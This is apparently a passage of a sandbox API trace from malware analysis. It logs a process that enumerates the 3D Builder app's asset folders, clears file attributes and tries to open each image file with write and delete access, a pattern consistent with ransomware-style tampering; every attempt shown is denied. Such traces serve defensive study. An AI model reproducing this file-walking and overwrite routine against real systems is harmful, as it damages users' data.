	[0079.506] FindNextFileW (in: hFindFile=0x2d70940, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a4daf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.506] wcscmp (_String1="..", _String2=".") returned 1
	[0079.506] wcscmp (_String1="..", _String2="..") returned 0
	[0079.506] FindNextFileW (in: hFindFile=0x2d70940, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970ada35, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1530, dwReserved0=0x0, dwReserved1=0x0, cFileName="BuilderLogo.png", cAlternateFileName="")) returned 1
	[0079.507] wcscmp (_String1="BuilderLogo.png", _String2=".") returned 1
	[0079.507] wcscmp (_String1="BuilderLogo.png", _String2="..") returned 1
	[0079.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x2e3bcf0
	[0079.507] wcscpy (in: _Dest=0x2e3bcf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast"
	[0079.507] wcscat (in: _Dest=0x2e3bcf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\"
	[0079.507] wcscat (in: _Dest=0x2e3bcf0, _Source="BuilderLogo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\BuilderLogo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\BuilderLogo.png"

Thread:
	id = 791
	os_tid = 0x1b88

	[0079.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477fd10
	[0079.507] wcscpy (in: _Dest=0x477fd10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black"
	[0079.507] wcscat (in: _Dest=0x477fd10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\"
	[0079.507] wcscat (in: _Dest=0x477fd10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\*"
	[0079.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db7e90
	[0079.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\*", lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7570, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70980
	[0079.508] wcscmp (_String1=".", _String2=".") returned 0
	[0079.508] FindNextFileW (in: hFindFile=0x2d70980, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7570, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.508] wcscmp (_String1="..", _String2=".") returned 1
	[0079.508] wcscmp (_String1="..", _String2="..") returned 0
	[0079.508] FindNextFileW (in: hFindFile=0x2d70980, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970ada35, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2e27, dwReserved0=0x0, dwReserved1=0x0, cFileName="DashboardDefaultThumbnail.png", cAlternateFileName="")) returned 1
	[0079.508] wcscmp (_String1="DashboardDefaultThumbnail.png", _String2=".") returned 1
	[0079.523] wcscmp (_String1="DashboardDefaultThumbnail.png", _String2="..") returned 1
	[0079.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d53788
	[0079.523] wcscpy (in: _Dest=0x2d53788, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black"
	[0079.523] wcscat (in: _Dest=0x2d53788, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\"
	[0079.523] wcscat (in: _Dest=0x2d53788, _Source="DashboardDefaultThumbnail.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\DashboardDefaultThumbnail.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\DashboardDefaultThumbnail.png"

Thread:
	id = 792
	os_tid = 0x1b8c

	[0079.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44de0
	[0079.523] wcscpy (in: _Dest=0x2e44de0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white"
	[0079.523] wcscat (in: _Dest=0x2e44de0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\"
	[0079.523] wcscat (in: _Dest=0x2e44de0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\*"
	[0079.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8830
	[0079.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\*", lpFindFileData=0x2db8830 | out: lpFindFileData=0x2db8830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7e68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d709c0
	[0079.524] wcscmp (_String1=".", _String2=".") returned 0
	[0079.524] FindNextFileW (in: hFindFile=0x2d709c0, lpFindFileData=0x2db8830 | out: lpFindFileData=0x2db8830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7e68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.524] wcscmp (_String1="..", _String2=".") returned 1
	[0079.524] wcscmp (_String1="..", _String2="..") returned 0
	[0079.524] FindNextFileW (in: hFindFile=0x2d709c0, lpFindFileData=0x2db8830 | out: lpFindFileData=0x2db8830*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970ada35, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2ff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DashboardDefaultThumbnail.png", cAlternateFileName="")) returned 1
	[0079.524] wcscmp (_String1="DashboardDefaultThumbnail.png", _String2=".") returned 1
	[0079.524] wcscmp (_String1="DashboardDefaultThumbnail.png", _String2="..") returned 1
	[0079.524] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2e02778
	[0079.524] wcscpy (in: _Dest=0x2e02778, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white"
	[0079.524] wcscat (in: _Dest=0x2e02778, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\"
	[0079.524] wcscat (in: _Dest=0x2e02778, _Source="DashboardDefaultThumbnail.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\DashboardDefaultThumbnail.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\DashboardDefaultThumbnail.png"

Thread:
	id = 793
	os_tid = 0x1b90

	[0079.525] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cubetile_contrast-black.png")) returned 0x20
	[0079.525] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0079.526] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cubetile_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.526] GetLastError () returned 0x5
	[0079.526] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0079.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3b930) returned 1

Thread:
	id = 794
	os_tid = 0x1b94

	[0079.527] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cubetile_contrast-white.png")) returned 0x20
	[0079.527] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.527] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cubetile_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.527] GetLastError () returned 0x5
	[0079.527] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3bb10) returned 1

Thread:
	id = 795
	os_tid = 0x1b98

	[0079.528] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DarkBlue.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\darkblue.png")) returned 0x20
	[0079.529] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DarkBlue.png", dwFileAttributes=0x20) returned 0
	[0079.529] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DarkBlue.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\darkblue.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.529] GetLastError () returned 0x5
	[0079.529] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DarkBlue.png", dwFileAttributes=0x20) returned 0
	[0079.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d538) returned 1

Thread:
	id = 796
	os_tid = 0x1b9c

	[0079.530] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DashboardDefaultThumbnail.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\dashboarddefaultthumbnail.png")) returned 0x20
	[0079.532] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DashboardDefaultThumbnail.png", dwFileAttributes=0x20) returned 0
	[0079.532] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DashboardDefaultThumbnail.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\dashboarddefaultthumbnail.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.532] GetLastError () returned 0x5
	[0079.532] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DashboardDefaultThumbnail.png", dwFileAttributes=0x20) returned 0
	[0079.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752260) returned 1

Thread:
	id = 797
	os_tid = 0x1ba0

	[0079.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477c530
	[0079.533] wcscpy (in: _Dest=0x477c530, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps"
	[0079.533] wcscat (in: _Dest=0x477c530, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\"
	[0079.533] wcscat (in: _Dest=0x477c530, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\*"
	[0079.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8a98
	[0079.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\*", lpFindFileData=0x2db8a98 | out: lpFindFileData=0x2db8a98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970d3c8f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9987cd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x972809b4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a00
	[0079.535] wcscmp (_String1=".", _String2=".") returned 0
	[0079.535] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db8a98 | out: lpFindFileData=0x2db8a98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970d3c8f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9987cd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x972809b4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.608] wcscmp (_String1="..", _String2=".") returned 1
	[0079.608] wcscmp (_String1="..", _String2="..") returned 0
	[0079.608] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db8a98 | out: lpFindFileData=0x2db8a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d3c8f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970d3c8f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970d3c8f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x257a, dwReserved0=0x0, dwReserved1=0x0, cFileName="4-Point Star.png", cAlternateFileName="")) returned 1
	[0079.608] wcscmp (_String1="4-Point Star.png", _String2=".") returned 1
	[0079.608] wcscmp (_String1="4-Point Star.png", _String2="..") returned 1
	[0079.608] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4752168
	[0079.608] wcscpy (in: _Dest=0x4752168, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps"
	[0079.608] wcscat (in: _Dest=0x4752168, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\"
	[0079.608] wcscat (in: _Dest=0x4752168, _Source="4-Point Star.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\4-Point Star.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\4-Point Star.png"

Thread:
	id = 798
	os_tid = 0x1ba4

	[0079.608] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\helpicon_contrast-black.png")) returned 0x20
	[0079.610] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0079.610] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\helpicon_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.610] GetLastError () returned 0x5
	[0079.610] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0079.610] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3bc00) returned 1

Thread:
	id = 799
	os_tid = 0x1ba8

	[0079.611] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\helpicon_contrast-white.png")) returned 0x20
	[0079.612] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.612] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\helpicon_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.612] GetLastError () returned 0x5
	[0079.612] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.612] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb708) returned 1

Thread:
	id = 800
	os_tid = 0x1bac

	[0079.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ca480
	[0079.615] wcscpy (in: _Dest=0x47ca480, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp"
	[0079.615] wcscat (in: _Dest=0x47ca480, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\"
	[0079.615] wcscat (in: _Dest=0x47ca480, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\*"
	[0079.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db91d0
